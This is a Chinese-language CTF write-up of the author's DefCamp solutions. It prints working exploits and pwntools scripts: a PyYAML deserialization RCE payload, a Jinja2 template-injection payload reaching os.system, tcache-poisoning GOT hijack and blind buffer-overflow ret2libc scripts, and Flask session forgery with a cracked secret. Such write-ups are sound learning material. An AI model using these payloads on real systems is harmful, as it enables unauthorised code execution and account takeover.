8 分鐘閱讀

The end of my winter vacation :(

Intro

這次自己參加了DefCamp CTF,這場我總共解了1題web, 2題pwn, 2題misc,以下紀錄我比賽時的解法與學到的東西

raw-proto (misc)

Overview

亂試了一下,可以從error message發現,這題會把你的輸入用PYYaml的yaml.load去deserialize

而這題的目標就是利用PYYaml來get shell

Solution

payload很多,我這裡是使用tuple(map(eval, ["CODE"])的方式來eval

雖然能eval,但題目還是簡單做了一下sandbox,如果想要直接__import__('os')會error,還有例如Popen這種關鍵字也會error

我猜intended solution應該是把os用絕對路徑去import,但我懶得去繞他的sandbox了

所以我試著用_xxsubinterpreters來get shell,因為這東西不好擋,甚至可以拿來繞audithook,而這個題目感覺就擋不掉

試了一下發現如我所料,順利get shell了

yaml的payload:

!!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , [ '[xs:=__import__("_xxsubinterpreters"),sub:=xs.create(),xs.run_string(sub,"__import__(\"os\").system(\"cat f*\")"),xs.destroy(sub)]' ]]]

solve.py:

from pwn import *

HOST = '34.159.3.158'
PORT = 32062


# context.log_level = 'debug'


def main():
    r = remote(HOST, PORT)
    with open("exploit.yaml", "rb") as f:
        payload = f.read()
        info("payload:")
        info(payload.decode())
        r.sendline(payload)
    r.recvuntil(b"CTF")
    success(f"flag: CTF{r.recvuntil(b'}').decode()}")


if __name__ == '__main__':
    main()

flag: CTF{b4b7ad802bf06191e9d68127e718d375933ed30d26c72d71b26b5f437ca726d8}

wafer (misc)

這題跟raw-proto一樣是pyjail類型的題目,但這次使用jinja2.Template來render使用者的輸入

可以從error message看到他的執行方式:

Traceback (most recent call last):
  File "/home/ctf/server.py", line 8, in <module>
    print(Template("+inputval+").render())

稍微試了一下,還可以發現_會被過濾,但很好繞,用\x5f就繞掉了

Solution

一開始我嘗試使用().__class__.__base__.__subclasses__()來拿__builtins__,但發現沒有一個class能讓我拿到__builtins__

在local用debugger追進Template.render裡面可以發現,在compile template的時候,其實自帶了幾個global variables: range, dict, lipsum, cycler, joiner, namespace

在經過簡單的測試可以發現他們都能連結到__globals__!

payload如下:

lipsum['__globals__']['__builtins__']['__import__']('os').system('ls')
cycler['__init__']['__globals__']['__builtins__']['__import__']('os').system('ls')
joiner['__init__']['__globals__']['__builtins__']['__import__']('os').system('ls')
namespace['__init__']['__globals__']['__builtins__']['__import__']('os').system('ls')

最後我使用了lipsum,並把_換成\x5f,成功拿到shell

solve.py:

from pwn import *

ADDRESS = "34.159.3.158"
PORT = 32077


def main():
    r = remote(ADDRESS, PORT)
    cmd = b"cat f*"
    payload = b"lipsum['__globals__']['__builtins__']['__import__']('os').system('%s')".replace(b"_", b"\\x5f")
    payload = payload % cmd
    info("payload:")
    info(payload.decode())
    r.sendline(payload)
    success(r.recvall().decode().replace("\r", ""))


if __name__ == '__main__':
    main()

flag: CTF{3497acdc5cdb795851f334a6c8f401a1e2504b4d05283b6b599e7b6dc42cc200}

cache (pwn)

Overview

這題沒開PIE, Patrial Relo, 也沒canary,幾乎沒有保護

vuln的Pseudocode:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+4h] [rbp-1Ch] BYREF
  void *buf; // [rsp+8h] [rbp-18h]
  void *ptr; // [rsp+10h] [rbp-10h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  buf = 0LL;
  ptr = 0LL;
  init(argc, argv, envp);
  while ( 1 )
  {
    puts("MENU");
    puts("1: Make new admin");
    puts("2: Make new user");
    puts("3: Print admin info");
    puts("4: Edit Student Name");
    puts("5: Print Student Name");
    puts("6: Delete admin");
    puts("7: Delete user");
    printf("\nChoice: ");
    fflush(stdout);
    __isoc99_scanf("%d%*c", &v3);
    switch ( v3 )
    {
      case 1:
        ptr = malloc(0x10uLL);
        *((_QWORD *)ptr + 1) = admin_info;
        *(_QWORD *)ptr = getFlag;
        break;
      case 2:
        buf = malloc(0x10uLL);
        printf("What is your name: ");
        fflush(stdout);
        read(0, buf, 0x10uLL);
        break;
      case 3:
        (*((void (**)(void))ptr + 1))();
        break;
      case 4:
        printf("What is your name: ");
        fflush(stdout);
        read(0, buf, 0x10uLL);
        break;
      case 5:
        if ( buf )
          printf("Students name is %s\n", (const char *)buf);
        else
          puts("New student has not been created yet");
        break;
      case 6:
        free(ptr);
        break;
      case 7:
        free(buf);
        break;
      default:
        puts("bad input");
        break;
    }
  }
}

可以看到case 6, 7有很明顯的uaf,且case 3可以呼叫chunk裡的function ptr

此外,ELF裡面還有一個叫showFlag的function可以cat flag.txt,所以一開始我就興高采烈的用uaf把showFlag的ptr寫進free chunk,再malloc新的admin來呼叫showFlag

但沒想到被Rick Roll了,flag.txt裡面放的是youtube網址…

Solution

真正的解答是要利用tcache來任意位置讀寫

步驟如下:

  1. 利用case 2的功能malloc一個chunk放進buf裡,再free(buf)

  2. 利用case 5的功能把free的GOT表位置寫進剛剛free掉的chunk的fd

  3. 利用case 2的功能再次malloc,由於剛剛的free chunk的fd被改寫成指向free GOT,所以下一次malloc時獲得的chunk位置將是free GOT - 0x10

  4. 利用case 2的功能再次malloc,這次的chunk位置轉移到free GOT - 0x10,此時buf指向的位置即為free GOT

  5. 利用case 5的功能leak free的function ptr來leak libc,要注意的是: 使用case 2的功能時至少會改寫1 byte的資料,故現在buf中儲存的free的function ptr的最後1 byte是錯的,所以在減掉free的offset的時候要修正

  6. 現在libc的base有了,one_gadget的位置我們也就獲得了,這時再利用case 5的功能把free的function ptr改掉來達成GOT hijack

  7. 呼叫free,get shell

solve.py:

#!/usr/bin/env python3

from pwn import *
from typing import Union
from types import MethodType
import sys

exe = ELF("./vuln_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")

context.binary = exe
context.terminal = ["tmux", "splitw", "-h"]


def conn():
    if "d" in sys.argv[1:]:
        context.log_level = "debug"
    if len(sys.argv) > 1 and "l" == sys.argv[1]:
        r = process([exe.path])
    elif len(sys.argv) > 1 and "g" in sys.argv[1]:
        r = gdb.debug([exe.path], '''
        b *main+275
        b *main+484
        b *main+428
        b *main+509
        b *main+534
        ''')
    else:
        r = remote("35.246.134.224", 30532)

    return r


def add_admin(self: Union[process, connect]):
    self.sendlineafter(b"Choice: ", b"1")


def add_username(self: Union[process, connect], user_data):
    self.sendlineafter(b"Choice: ", b"2")
    self.sendafter(b"What is your name: ", user_data)


def display_admin(self: Union[process, connect]):
    self.sendlineafter(b"Choice: ", b"3")


def edit_username(self: Union[process, connect], user_data):
    self.sendlineafter(b"Choice: ", b"4")
    self.sendafter(b"What is your name: ", user_data)


def display_user(self: Union[process, connect]):
    self.sendlineafter(b"Choice: ", b"5")
    self.recvuntil(b'Students name is ')
    return self.recvuntil(b"\nMENU", drop=True)


def delete_admin(self: Union[process, connect]):
    self.sendlineafter(b"Choice: ", b"6")


def delete_user(self: Union[process, connect]):
    self.sendlineafter(b"Choice: ", b"7")


def main():
    r = conn()

    r.add_admin = MethodType(add_admin, r)
    r.add_user = MethodType(add_username, r)
    r.display_admin = MethodType(display_admin, r)
    r.edit_username = MethodType(edit_username, r)
    r.display_user = MethodType(display_user, r)
    r.delete_admin = MethodType(delete_admin, r)
    r.delete_user = MethodType(delete_user, r)

    r.add_admin()
    r.add_user(b'A')
    r.delete_user()
    r.edit_username(p64(exe.got['free']))
    r.add_user(b'A')
    r.add_user(b'A')
    libc.address = int.from_bytes(r.display_user(), byteorder='little') - ((libc.symbols['free'] & ~0xff) + 0x41)
    success(f'libc base: 0x{libc.address:x}')
    one_gadget = libc.address + 0x10a38c  # one_gadget libc.so.6
    success(f'one_gadget: 0x{one_gadget:x}')
    r.edit_username(p64(one_gadget))
    r.delete_admin()
    r.interactive()


if __name__ == "__main__":
    main()

flag:

$ ls
flag.txt  ld-2.27.so  libc.so.6  real_flag.txt    vuln  vuln.c
$ cat r*
CTF{ab7bdaa3e5ed17ed326fef624a2d95d6ea62caa3dba6d1e5493936c362eed40e}

blindsight (pwn)

Overview

這題算半個blind pwn,只給了libc,剩下啥也沒給

nc上去,可以看到一句話: Are you blind my friend?

經過簡單的測試可以發現,輸入1~88個A時,remote會顯示: No password for you!,但輸入89個A時,No password for you!就消失了!

可以推測他buf的相對位置是在rbp-0x50,且有BOF,所以rip被蓋成怪怪的值就會error

Solution

由於確定了buf的相對位置,我嘗試partial overwrite來測看看有沒有什麼有趣的結果:

def fuzz(known=b''):
    for j in range(0x100):
        r = conn()
        info(f'try: {j:02x}')
        payload = b'A' * 0x58 + known + bytes([j])
        r.sendafter(b'Are you blind my friend?\n', payload)
        try:
            msg = r.recvall(timeout=0.4)
            if len(msg) == 0:
                raise EOFError
            info("wow:")
            print(msg)
        except EOFError:
            pass
        finally:
            r.close()

fuzz()的時候,可以發現在try 0x13和0x1f的時候噴了一堆怪怪的東西

[+] Receiving all data: Done (63B)
[DEBUG] Received 0x3f bytes:
    00000000  41 41 41 41  41 41 41 41  3e 00 00 00  00 00 00 00  │AAAA│AAAA│>···│····│
    00000010  20 f6 4e 45  d3 7f 00 00  d0 1c cc 11  fd 7f 00 00  │ ·NE│····│····│····│
    00000020  10 1e cc 11  fd 7f 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000030  00 00 00 00  00 00 00 00  48 97 19 45  d3 7f 0a     │····│····│H··E│···│

(裡面7f開頭的東西看起來就很可疑)

繼續try,當try到0xbb的時候,有趣的事情又發生了,可以發現Are you blind my friend?重新出現了!

(大概是main的開頭)

0x00到0xff全部try完之後,我們大致可以確認,如果這題要有解的話,PIE一定沒開,因為剛剛試出來的功能都沒辦法只靠patrial overwrite get shell,一定要知道完整的address才行

依據上述推理,我們接續在0x13和0xbb後面接著爆破(0x1e可以不用管,因為和0x13一樣),最後可以爆破出完整的address,分別是: 0x400713和0x4007bb

這時我們可以用以下payload測試一下:

b'A' * 0x58 + p64(0x400713) + p64(0x4007bb)

可以發現在leak一堆怪東西之後順利的重新執行了一次main!

不僅如此,在爆破的過程我們還可以發現,在呼叫0x400713時,index 10~15的值根據little endian轉成hex始終是: 0x7f???????620

根據過往的經驗可以知道這個大概是一個在libc裡的位置,於是我們看一下題目給的libc有誰是620結尾:

(雖然這樣講有點事後諸葛,但肯定有人是620結尾,畢竟CTF都是精心設計過的麻XD,能沒有嗎?)

$ readelf -s libc-2.23.so | grep 620
   620: 00000000000fcc70   407 FUNC    GLOBAL DEFAULT   13 vtimes@@GLIBC_2.2.5
   717: 0000000000129620   277 FUNC    GLOBAL DEFAULT   13 __nss_configure_lookup@@GLIBC_2.2.5
   803: 00000000003c5620   224 OBJECT  GLOBAL DEFAULT   33 _IO_2_1_stdout_@@GLIBC_2.2.5
  1196: 0000000000036200   151 FUNC    GLOBAL DEFAULT   13 sigisemptyset@@GLIBC_2.2.5
  1262: 000000000008b620   383 FUNC    GLOBAL DEFAULT   13 __strerror_r@@GLIBC_2.2.5
  1568: 0000000000106200    36 FUNC    GLOBAL DEFAULT   13 lgetxattr@@GLIBC_2.3
  1620: 000000000011b340   192 FUNC    GLOBAL DEFAULT   13 setnetent@@GLIBC_2.2.5
  1701: 000000000008b620   383 FUNC    WEAK   DEFAULT   13 strerror_r@@GLIBC_2.2.5
  2132: 0000000000071620   163 FUNC    GLOBAL DEFAULT   13 wscanf@@GLIBC_2.2.5

根據過往的經驗,stack上很常會殘留_IO_2_1_stdout_的address,所以大概就是他了(或是工人智慧一下,畢竟620結尾的也就5個)

接著我們可以根據offset來算出libc base,也就能知道one_gadget的address了

故我們get shell的步驟如下:

  1. Send payload: padding + leaker + main

  2. Leak libc, one_gadget

  3. Send payload again: padding + one_gadget

solve.py:

#!/usr/bin/env python3

from pwn import *
import sys

libc = ELF("./libc-2.23.so")

context.terminal = ["tmux", "splitw", "-h"]


def conn():
    if "d" in sys.argv[1:]:
        context.log_level = "debug"
    return remote("34.159.129.6", 30550)


def fuzz(known=b''):
    for j in range(0x100):
        r = conn()
        info(f'try: {j:02x}')
        payload = b'A' * 0x58 + known + bytes([j])
        r.sendafter(b'Are you blind my friend?\n', payload)
        try:
            msg = r.recvall(timeout=0.4)
            if len(msg) == 0:
                raise EOFError
            info("wow:")
            print(msg)
        except EOFError:
            pass
        finally:
            r.close()


def main():
    r = conn()
    # fuzz()
    # input buf: rbp - 0x50
    # fuzz(b'\x13\x07\x40')
    leaker_addr = 0x400713
    # fuzz(b'\xbb\x07\x40')
    main_addr = 0x4007bb

    payload = b'A' * 0x58
    payload += p64(leaker_addr)
    payload += p64(main_addr)
    r.sendlineafter(b'Are you blind my friend?\n', payload)

    dumped = r.recvline()
    _IO_2_1_stdout_addr = int.from_bytes(dumped[0x10:0x16], byteorder='little')
    info(f'_IO_2_1_stdout addr: 0x{_IO_2_1_stdout_addr:x}')
    libc.address = _IO_2_1_stdout_addr - libc.symbols['_IO_2_1_stdout_']
    success(f'libc base: 0x{libc.address:x}')
    one_gadget_addr = 0xf1247 + libc.address
    success(f'one gadget addr: 0x{one_gadget_addr:x}')

    payload = b'A' * 0x58
    payload += p64(one_gadget_addr)
    r.sendlineafter(b'Are you blind my friend?\n', payload)

    r.interactive()


if __name__ == "__main__":
    main()

flag:

$ ls
blind  blind.c    flag.txt
$ cat f*
CTF{313f12378d33889716128e329457030182023d103ab648b072fa1e839713dab5}

web-intro (web)

Overview

連上去發現是一個403的頁面,cookie的名稱是session,Response的Server Header是: Werkzeug/2.0.3 Python/3.6.9

大概是Flask的Server

Solution

這題很水,用flask-unsign就能解掉了,而且session的secret key很弱,用flask-unsign預設的字典就能搞定了:

$ flask-unsign --unsign --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.YgYttg.gqih-5KHXnLKa-YAH413Rr3_l2c'
[*] Session decodes to: {'logged_in': False}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[*] Attempted (2048): -----BEGIN PRIVATE KEY-----;r
[+] Found secret key after 15616 attempts4482/XCSUuiz
'password'
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'password'
eyJsb2dnZWRfaW4iOnRydWV9.YgYuzg.WozT_TlQXfms5f-wFIlTIaU1LTI

flag: CTF{66bf8ba5c3ee2bd230f5cc2de57c1f09f471de8833eae3ff7566da21eb141eb7}

para-code (web)

Overview

這題過濾了很多command,而且規定要在4個字以內把在同目錄底下的flag.php的flag print出來

hitcon之前也有類似的題目,但不同的是這次目錄沒有寫入的權限,無法用>a的方法創造檔案

Solution

這題我在比賽時沒解出來,但最後的方法有點特別,單純紀錄一下,以防忘記:

最後的答案是: m4 *

沒想到還有m4這個神奇的指令能把flag印出來…

Summary

這次blind pwn的部分很好玩,heap的那題也還不錯,pwn的部分收獲挺多的

但很慘的是這次web只解了一題水到不行的題目,希望下次web能解多一點…